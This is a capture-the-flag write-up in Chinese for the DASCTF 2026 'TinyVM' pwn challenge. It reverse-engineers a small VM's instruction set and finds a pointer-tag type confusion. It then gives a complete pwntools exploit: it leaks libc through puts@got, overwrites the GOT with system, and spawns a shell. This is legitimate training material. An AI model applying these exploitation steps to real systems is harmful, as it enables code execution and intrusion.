Featured image of post DASCTF2026夏季赛-TinyVM

DASCTF2026夏季赛-TinyVM

tiny 64bit tagged VM,逆向分析后pointer 没有在算术指令后失效。可以把合法 VM 内部指针平移到任意进程地址,从而获得任意读写。partial RELRO leak后覆写got表,最后复用 VM 的 call指令get shell

最后更新于:
|
|
|

分析

无PIE,可劫持GOT表

逆向分析

一道典型VM题,不过相对来说指令不多并且漏洞利用链也蛮直白的(导致了手工分析并不容易但是AI梭哈很快。我手工刚把opcode指令译码完很多人都出了)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+0h] [rbp-10h] BYREF
  int v5; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init();
  memset(&vm_mem, 0, 0x100u);
  memset(&unk_4053C0, 0, 0x40u); 
  vm_cmp = 0;
  printf("Size: ");
  if ( (unsigned int)__isoc99_scanf("%d", &v4) == 1 && v4 > 0 && v4 <= 0x200 )
  {
    getchar();
    v5 = read(0, vm_bytecode, v4);                 // 0x200字节
                                                // 
    if ( v5 > 0 )
    {
      vm(v5);
      puts("Done.");
      return 0;
    }
    else
    {
      puts("Failed");
      return 1;
    }
  }
  else
  {
    puts("Invalid");
    return 1;
  }
}

初步查看main函数可以分析出vm_mem用于存放vm数据内存,bytecode供我们读入0x200字节内容,vm_cmp会用于判定比较结果返回-1 -> 1 ,以及暂时不知道0x4053c0的作用,步入内部查看具体的VM CPU架构实现

步入后在switch opcode时任取一个case进行分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
        case 16:
            v3 = v36;
            v37 = v36 + 1;
            v65 = sub_4012DB(vm_bytecode[v3]);
            if ( a1 <= v37 + 3 )
            {
              puts("Truncated");
              exit(1);
            }
            v33 = *(_DWORD *)&vm_bytecode[v37];
            v36 = v37 + 4;
            *((_DWORD *)&vm_regs + 4 * v65) = 0;// type for first uint32?
            *((_QWORD *)&unk_4053C8 + 2 * v65) = v33;// uint32 uint32 uint64
            continue;

步入4012DB以后可以看到为判断寄存器编号的函数,也可以分析得到 0x4053c0 为4存放vm_regs[4] 4 个寄存器的数组和结构了

1
2
3
4
5
6
7
8
9
__int64 __fastcall vm_newreg(unsigned int a1)
{
  if ( a1 >= 4 )
  {
    puts("Bad register");
    exit(1);
  }
  return a1;
}

一个很小的 64-bit tagged-register VM,分析出结构体如下

1
2
3
4
5
6
7
8
struct vm_reg
{
  uint32_t type;
  uint32_t padding;
  uint64_t value;
};

struct vm_reg vm_regs[4]

翻译完后以后整个vm指令集如下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
unsigned __int64 __fastcall vm(int bytecode_length)
{
  int pc; // eax
  int opcode; // eax
  int v3; // eax
  int v4; // eax
  __int64 v5; // rsi
  __int64 v6; // rax
  uint64_t value; // rdx
  int v8; // eax
  int v9; // eax
  int v10; // eax
  int v11; // eax
  int v12; // eax
  int v13; // eax
  int v14; // eax
  int v15; // eax
  int v16; // eax
  int v17; // eax
  int v18; // eax
  int v19; // eax
  int v20; // eax
  int v21; // eax
  int v22; // eax
  int v23; // eax
  int v24; // eax
  int v25; // eax
  int v26; // eax
  int v27; // eax
  int v28; // eax
  unsigned __int8 v30; // [rsp+11h] [rbp-CFh]
  unsigned __int8 v31; // [rsp+12h] [rbp-CEh]
  unsigned __int8 v32; // [rsp+13h] [rbp-CDh]
  int v33; // [rsp+14h] [rbp-CCh]
  __int16 imm; // [rsp+14h] [rbp-CCh]
  __int16 imma; // [rsp+14h] [rbp-CCh]
  int v36; // [rsp+18h] [rbp-C8h]
  int command_now; // [rsp+18h] [rbp-C8h]
  int v38; // [rsp+1Ch] [rbp-C4h]
  int v39; // [rsp+20h] [rbp-C0h]
  int v40; // [rsp+24h] [rbp-BCh]
  int v41; // [rsp+28h] [rbp-B8h]
  int v42; // [rsp+2Ch] [rbp-B4h]
  int v43; // [rsp+30h] [rbp-B0h]
  int v44; // [rsp+34h] [rbp-ACh]
  int v45; // [rsp+38h] [rbp-A8h]
  int v46; // [rsp+3Ch] [rbp-A4h]
  int v47; // [rsp+40h] [rbp-A0h]
  int v48; // [rsp+44h] [rbp-9Ch]
  int v49; // [rsp+48h] [rbp-98h]
  int v50; // [rsp+4Ch] [rbp-94h]
  int v51; // [rsp+50h] [rbp-90h]
  int v52; // [rsp+54h] [rbp-8Ch]
  int v53; // [rsp+58h] [rbp-88h]
  int v54; // [rsp+5Ch] [rbp-84h]
  int v55; // [rsp+60h] [rbp-80h]
  int v56; // [rsp+64h] [rbp-7Ch]
  int v57; // [rsp+6Ch] [rbp-74h]
  int v58; // [rsp+74h] [rbp-6Ch]
  int v59; // [rsp+7Ch] [rbp-64h]
  int v60; // [rsp+84h] [rbp-5Ch]
  int v61; // [rsp+8Ch] [rbp-54h]
  int v62; // [rsp+94h] [rbp-4Ch]
  int v63; // [rsp+9Ch] [rbp-44h]
  int v64; // [rsp+A4h] [rbp-3Ch]
  int onereg; // [rsp+ACh] [rbp-34h]
  char s[40]; // [rsp+B0h] [rbp-30h] BYREF
  unsigned __int64 v67; // [rsp+D8h] [rbp-8h]

  v67 = __readfsqword(0x28u);
  v36 = 0;
  while ( 2 )
  {
    if ( v36 < bytecode_length )
    {
      pc = v36++;
      opcode = vm_bytecode[pc];
      if ( (unsigned int)opcode > 0x90 )
      {
        if ( opcode == 0xFF )
          return v67 - __readfsqword(0x28u);
      }
      else if ( opcode >= 0x10 )
      {
        switch ( opcode )
        {
          case 0x10:                            // imm
                                                // 检查是否还有4个字节可读,立即数
            v3 = v36;
            command_now = v36 + 1;
            onereg = vm_check_reg(vm_bytecode[v3]);
            if ( bytecode_length <= command_now + 3 )
            {
              puts("Truncated");
              exit(1);
            }
            v33 = *(_DWORD *)&vm_bytecode[command_now];
            v36 = command_now + 4;
            vm_regs[onereg].type = 0;           // type for first uint32?
            vm_regs[onereg].value = v33;        // uint32 uint32 uint64
            continue;
          case 0x11:                            // copy register
            v64 = vm_check_reg(vm_bytecode[v36]);
            v4 = v36 + 1;
            v36 += 2;
            v5 = v64;                           // dst
            v6 = (int)vm_check_reg(vm_bytecode[v4]);// src
            value = vm_regs[v6].value;
            *(_QWORD *)&vm_regs[v5].type = *(_QWORD *)&vm_regs[v6].type;
            vm_regs[v5].value = value;
            continue;
          case 0x20:                            // add
            v63 = vm_check_reg(vm_bytecode[v36]);
            v8 = v36 + 1;
            v36 += 2;
            vm_regs[v63].value += vm_regs[(int)vm_check_reg(vm_bytecode[v8])].value;
            continue;
          case 0x21:                            // sub
            v62 = vm_check_reg(vm_bytecode[v36]);
            v9 = v36 + 1;
            v36 += 2;
            vm_regs[v62].value -= vm_regs[(int)vm_check_reg(vm_bytecode[v9])].value;
            continue;
          case 0x22:                            // mul
            v61 = vm_check_reg(vm_bytecode[v36]);
            v10 = v36 + 1;
            v36 += 2;
            vm_regs[v61].value *= vm_regs[(int)vm_check_reg(vm_bytecode[v10])].value;
            continue;
          case 0x23:                            // xor
            v60 = vm_check_reg(vm_bytecode[v36]);
            v11 = v36 + 1;
            v36 += 2;
            vm_regs[v60].value ^= vm_regs[(int)vm_check_reg(vm_bytecode[v11])].value;
            continue;
          case 0x24:                            // and
            v59 = vm_check_reg(vm_bytecode[v36]);
            v12 = v36 + 1;
            v36 += 2;
            vm_regs[v59].value &= vm_regs[(int)vm_check_reg(vm_bytecode[v12])].value;
            continue;
          case 0x25:                            // or
            v58 = vm_check_reg(vm_bytecode[v36]);
            v13 = v36 + 1;
            v36 += 2;
            vm_regs[v58].value |= vm_regs[(int)vm_check_reg(vm_bytecode[v13])].value;
            continue;
          case 0x26:                            // shl
            v57 = vm_check_reg(vm_bytecode[v36]);
            v14 = v36 + 1;
            v36 += 2;
            vm_regs[v57].value <<= vm_regs[(int)vm_check_reg(vm_bytecode[v14])].value & 0x3F;
            continue;
          case 0x27:                            // shr
            v56 = vm_check_reg(vm_bytecode[v36]);
            v15 = v36 + 1;
            v36 += 2;
            vm_regs[v56].value >>= vm_regs[(int)vm_check_reg(vm_bytecode[v15])].value & 0x3F;
            continue;
          case 0x28:                            // not
            v16 = v36++;
            v55 = vm_check_reg(vm_bytecode[v16]);
            vm_regs[v55].value = ~vm_regs[v55].value;
            continue;
          case 0x29:                            // neg
            v17 = v36++;
            v54 = vm_check_reg(vm_bytecode[v17]);
            vm_regs[v54].value = -vm_regs[v54].value;
            continue;
          case 0x2A:                            // cmp 
            v52 = vm_check_reg(vm_bytecode[v36]);
            v18 = v36 + 1;
            v36 += 2;
            v53 = vm_check_reg(vm_bytecode[v18]);
            if ( vm_regs[v52].value == vm_regs[v53].value )
            {
              vm_cmp = 0;
            }
            else if ( (signed __int64)vm_regs[v52].value >= (signed __int64)vm_regs[v53].value )
            {
              vm_cmp = 1;
            }
            else
            {
              vm_cmp = -1;
            }
            continue;
          case 0x30:                            // ptr r,off
                                                // set r.type->1 & r.value=&vm_mem[off]
                                                // 指针指令 
            v51 = vm_check_reg(vm_bytecode[v36]);
            v19 = v36 + 1;
            v36 += 2;
            v32 = vm_bytecode[v19];
            vm_regs[v51].type = 1;
            vm_regs[v51].value = (uint64_t)&vm_mem + v32;
            continue;
          case 0x31:                            // load
            v49 = vm_check_reg(vm_bytecode[v36]);
            v20 = v36 + 1;
            v36 += 2;
            v50 = vm_check_reg(vm_bytecode[v20]);
            if ( vm_regs[v50].type != 1 )
            {
              puts("LOAD requires pointer");
              exit(1);
            }
            vm_regs[v49].type = 0;
            vm_regs[v49].value = *(_QWORD *)vm_regs[v50].value;
            continue;
          case 0x32:                            // store
            v47 = vm_check_reg(vm_bytecode[v36]);
            v21 = v36 + 1;
            v36 += 2;
            v48 = vm_check_reg(vm_bytecode[v21]);
            if ( vm_regs[v47].type != 1 )
            {
              puts("STORE requires pointer");
              exit(1);
            }
            *(_QWORD *)vm_regs[v47].value = vm_regs[v48].value;
            continue;
          case 0x33:                            // load8 from ptr to dst
            v45 = vm_check_reg(vm_bytecode[v36]);
            v22 = v36 + 1;
            v36 += 2;
            v46 = vm_check_reg(vm_bytecode[v22]);
            if ( vm_regs[v46].type != 1 )
            {
              puts("LOAD8 requires pointer");
              exit(1);
            }
            vm_regs[v45].type = 0;
            vm_regs[v45].value = *(unsigned __int8 *)vm_regs[v46].value;
            continue;
          case 0x34:                            // store 8 from src.value to ptr
            v43 = vm_check_reg(vm_bytecode[v36]);
            v23 = v36 + 1;
            v36 += 2;
            v44 = vm_check_reg(vm_bytecode[v23]);
            if ( vm_regs[v43].type != 1 )
            {
              puts("STORE8 requires pointer");
              exit(1);
            }
            *(_BYTE *)vm_regs[v43].value = vm_regs[v44].value;
            continue;
          case 0x40:                            // print reg
            v24 = v36++;
            v42 = vm_check_reg(vm_bytecode[v24]);
            if ( vm_regs[v42].type )
              printf("@%p\n", (const void *)vm_regs[v42].value);
            else
              printf("0x%lx\n", vm_regs[v42].value);
            continue;
          case 0x41:                            // input r into reg.value(int)
            v25 = v36++;
            v41 = vm_check_reg(vm_bytecode[v25]);
            if ( !fgets(s, 32, stdin) )
              exit(1);
            vm_regs[v41].type = 0;
            vm_regs[v41].value = strtoull(s, nullptr, 0);
            continue;
          case 0x50:                            // push reg,off from vm_mem
            v40 = vm_check_reg(vm_bytecode[v36]);
            v26 = v36 + 1;
            v36 += 2;
            v31 = vm_bytecode[v26];
            if ( v31 > 0xF8u )
            {
              puts("PUSH oob");
              exit(1);
            }
            *(_QWORD *)((char *)&vm_mem + v31) = vm_regs[v40].value;
            continue;
          case 0x51:                            // pop reg,off from vm_mem
            v39 = vm_check_reg(vm_bytecode[v36]);
            v27 = v36 + 1;
            v36 += 2;
            v30 = vm_bytecode[v27];
            if ( v30 > 0xF8u )
            {
              puts("POP oob");
              exit(1);
            }
            vm_regs[v39].type = 0;
            vm_regs[v39].value = *(_QWORD *)((char *)&vm_mem + v30);
            continue;
          case 0x60:                            // call ptr? puts?
            v28 = v36++;
            v38 = vm_check_reg(vm_bytecode[v28]);
            if ( vm_regs[v38].type != 1 )
            {
              puts("CALL requires pointer");
              exit(1);
            }
            puts((const char *)vm_regs[v38].value);
            continue;
          case 0x70:                            // jmp rel16
            if ( bytecode_length <= v36 + 1 )
            {
              puts("Truncated");
              exit(1);
            }
            v36 += *(__int16 *)&vm_bytecode[v36] + 2;
            if ( v36 < 0 || v36 > bytecode_length )
            {
              puts("JMP oob");
              exit(1);
            }
            continue;
          case 0x71:                            // jz rel16 
            if ( bytecode_length <= v36 + 1 )
            {
              puts("Truncated");
              exit(1);
            }
            imm = *(_WORD *)&vm_bytecode[v36];
            v36 += 2;
            if ( !vm_cmp )
            {
              v36 += imm;
              if ( v36 < 0 || v36 > bytecode_length )
              {
                puts("JZ oob");
                exit(1);
              }
            }
            continue;
          case 0x72:                            // jnz rel16
            if ( bytecode_length <= v36 + 1 )
            {
              puts("Truncated");
              exit(1);
            }
            imma = *(_WORD *)&vm_bytecode[v36];
            v36 += 2;
            if ( vm_cmp )
            {
              v36 += imma;
              if ( v36 < 0 || v36 > bytecode_length )
              {
                puts("JNZ oob");
                exit(1);
              }
            }
            continue;
          case 0x90:
            continue;
          default:
            break;
        }
      }
      puts("Unknown opcode");
      exit(1);
    }
    return v67 - __readfsqword(0x28u);
  }
}

漏洞点

关键在于 type 区分整数和指针导致了类型混淆,load/store/call 这些指针指令会检查pointer tag。

问题在于算术/位运算指令只修改 value,不会动type: 比如一条add指令

1
2
3
// add dst, src
regs[dst].value += regs[src].value;
// regs[dst].type 保持不变

若我们构造一个VM指针比如reg0后进行运算时reg0的value是可控的,而type仍然是pointer,可以任意读写指针内容

1
2
3
ptr r0, 0        # r0.type = pointer, r0.value = 0x4050c0
imm r1, target - 0x4050c0
add r0, r1       # r0.type 仍然是 pointer,但 value 已变成任意地址

随后 load/store/call 都会把我们伪造的 pointer 当作合法指针使用去接写。 而got表又是可写的,那个很诡异的call指令里有puts函数,可以劫持 puts@gotsystem,再让 VM 的 call ptr 执行就可以了 构造指向 puts@got 的poisoned VM 指针:

1
2
3
ptr r0, 0 # r0 into vm_mem
imm r1, puts_got - vm_mem     # 0x405018 - 0x4050c0 = -0xa8
add r0, r1

之后load将r0.value将解析为puts的地址,leak libc 再通过 VM 的 input 指令把 system 和参数一起传进去

1
2
3
4
5
6
input r1
store r0, r1     # puts@got => system

input r1
add r0, r1       # r0 = puts_got + (bin_sh - puts_got)
call r0          # puts(r0) => system("/bin/sh")

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
    "mode",
    type=int,
    choices=[0, 1, 2],
    nargs="?",
    default=0,
    help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"

context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
    io = process(filename)
    CLEAR_TEXT("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
        # put your scripts here
    ''')
elif args.mode == 2:
    io=remote("6fd39041.tcp-ctf2.dasctf.com", 9999, ssl=True)
else:
    sys.exit(1)

elf = ELF(filename, checksec=False)
if libc_name:
    libc = ELF(libc_name, checksec=False)

# --- Exploit Start ---
def imm(r,v):
    return bytes([0x10,r]) +p32(v & 0xffffffff) 

def op2(op,a,b): 
    return bytes([op,a,b]) # for other op 

def ptr(r,off): 
    return bytes([0x30,r,off]) # r.value=&vm_mem[off] 

def load(a,b):
    return bytes([0x31,a,b]) # load [regb] to rega

def store(a,b):
    return bytes([0x32,a,b]) # store regb to [rega]

def pr(a):
    return bytes([0x40,a]) # print *rega or rega

def input(a):
    return bytes([0x41,a]) # input integer to rega

def call(a):
    return bytes([0x60,a]) 


op_payload=b''.join([
        ptr(3,0), call(3),                 # puts for got
        ptr(0,0), imm(1, elf.got['puts']-0x4050c0), op2(0x20,0,1),  # add 1 to 0,r0 is at top of vm_mem
        load(2,0), pr(2),                  # leak 
        input(1), store(0,1),                # write system to puts@got
        input(1), op2(0x20,0,1), call(0),    # r0 = /bin/sh, puts@plt -> system
        b'\xff'
])

io.sendlineafter(b'Size: ',str(len(op_payload)).encode())
io.send(op_payload) 

for _ in range(3):
    line=io.recvline()
    if line and line.startswith(b'0x'):
        leak=int(line.strip(),16)
        break

libc.address=leak-libc.symbols['puts'] 
VIO_TEXT(f"leaked libc address: {hex(leak)}")

io.sendline(hex(libc.symbols['system']).encode())

bin_sh=(next(libc.search(b'/bin/sh\0'))-elf.got['puts']) & 0xFFFFFFFFFFFFFFFF # (1<<64)-1
io.sendline(hex(bin_sh).encode())

io.interactive()